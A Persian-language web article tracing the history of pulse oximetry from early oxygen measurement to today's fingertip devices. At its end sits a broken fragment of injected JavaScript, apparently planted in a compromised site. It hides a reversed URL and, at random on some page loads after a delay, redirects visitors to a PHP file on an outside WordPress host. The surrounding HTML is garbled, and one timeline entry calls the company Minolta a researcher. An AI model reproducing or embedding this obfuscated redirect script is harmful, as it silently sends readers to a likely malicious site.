خلاصه توسعه پالس اکسیمتری
خلاصه توسعه پالس اکسیمتری
اکسیمتری اندازه گیری اشباع اکسیژن خون از طریق انتقال نور در یک ناحیه نیمه شفاف از بیمار است. این کار به صورت غیر تهاجمی انجام می شود و سطح اشباع اکسیژن بر اساس اندازه گیری آن محاسبه می شود. این دستگاه وظیفه تشخیص و نجات جان هزاران نفر را بر عهده دارد.
اندازه گیری اشباع اکسیژن خون قبل از پالس اکسی متری
قبل از پالس اکسیمتر، اشباع اکسیژن توسط یک گاز خون شریانی دردناک اندازه‌گیری می‌شد و معمولاً حداقل ۲۰ الی ۳۰ دقیقه طول می‌کشید تا نتیجه به دست آید. این مدت زمان برای نتیجه گیری قابل قبول نیست زیرا حتی ممکن است آسیب شدید مغزی در عرض کمتر از ۵ دقیقه پس از اکسیژن رسانی کم رخ دهد. بر اساس گزارش ها، سالانه ۲۰۰۰ تا ۱۰۰۰۰ بیمار به دلیل هیپوکسمی (غلظت غیر طبیعی و پایین اکسیژن خون) تشخیص داده نشده جان خود را از دست می دهند و هیچ برآوردی از میزان عوارض بیماری وجود ندارد.
بیشتر بخوانید : راهنما خرید پالس اکسی متر – سوالات متداول پالس اکسی متر
در ادامه به طور خلاصه به توسعه این دستگاه یا به عبارتی توسعه پالس اکسیمتری اشاره شده است.
۱۸۶۴ : گیوری گابریل استوکس کشف کرد که هموگلوبین حامل اکسیژن در خون است.
۱۹۳۵ : متس اولین دستگاه اندازه گیری اشباع اکسیژن را ساخت. او از یک منبع نور دو طول موجی با فیلترهای قرمز و سبز استفاده می کرد که بعداً به فیلترهای قرمز و مادون قرمز تغییر یافت.
۱۹۴۱: “آزمایش اکسیمتری” ؛ برای اولین بار یک پالس اکسی متر جهت اندازه گیری سطح اشباع اکسیژن خون استفاده شد.
دهه ۱۹۴۰: میلیکان، دانشمند بریتانیایی، از یک منبع نور دوگانه برای ساخت اولین اکسیژن‌سنج گوشی استفاده کرد. در طول جنگ جهانی دوم، بسیاری از خلبانان با استفاده از آزمایش اکسیمتری از کابین های تحت فشار نجات یافتند.
۱۹۶۴: هیولت پاکارد اولین اکسیمتری گوش را با استفاده از هشت طول موج نور ساخت. اکسیمتر اولیه در آزمایشگاه ها و در عملکردهای ریوی استفاده می شد که بسیار گران، دست و پا گیر و بزرگ بود.
۱۹۷۲: تاگو آئویاگی مهندس زیست ژاپنی پالس اکسیمتری را بر اساس نسبت جذب نور قرمز به مادون قرمز در خون ساخت که به واسطه آن حق اختراع ژاپنی را نیز به دست آورد. یکی دیگر از محققان ژاپنی، مینولتا، بر اساس همین مفهوم، حق امتیاز ایالات متحده را به دست آورد که توسط آن اکسیمتری از نظر بالینی امکان پذیر شد.
۱۹۸۱: بیوکس اولین پالس اکسیمتر تجاری را معرفی کرد. در ابتدا بر مراقبت های تنفسی متمرکز شد و بعداً به اتاق های عمل گسترش یافت. از آن زمان، تولیدکنندگان دیگر وارد بازار شدند و فناوری پالس اکسیمتر به طور قابل توجهی بهبود یافت.
۱۹۸۷: پالس اکسیمتری بخشی از یک روش استاندارد در تجویز بیهوشی عمومی در ایالات متحده شد. استفاده از اکسیمتری به سرعت به سایر واحدهای بیمارستانی مانند اورژانس، اتاق ریکاوری، بخش نوزادان و بخش مراقبت های ویژه گسترش یافت.
۱۹۹۵ : برای اولین بار پالس اکسیمترهای انگشتی در بازار ظاهر شد.
۲۰۰۰: پزشکان پالس اکسی مترها را به صورت رایج در مطب های خود استفاده می کردند.
۲۰۰۷ : سازمان غذا و داروی ایالات‌متحده (FDA) اطلاعیه ای را در رجیستر فدرال (جلد ۷۲، شماره ۱۳۸ / پنجشنبه، ۱۹ ژوئیه ۲۰۰۷) با عنوان “پیش نویس دستورالعمل برای صنعت و کارکنانِ سازمان غذا و دارو منتشر کرد؛ مدت کوتاهی پس از آن، پالس اکسیمترهای تایید شده FDA در بازار ظاهر شدند.
اخیراً: پالس اکسی متر مقرون به صرفه شده و به طور گسترده ای حتی برای مصارف خانگی در دسترس است.
بیشتر بخوانید : تحویل ۱۰۰۰ دستگاه پالس اکسی متر انگشتی به بانک مسکن
بیشتر بخوانید : نکات استفاده از پالس اکسی مترهای خانگی
{if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>to_2022-05-16_15-56-46-300×169.jpg” alt=”” width=”300″ height=”169″ /> <img class=)
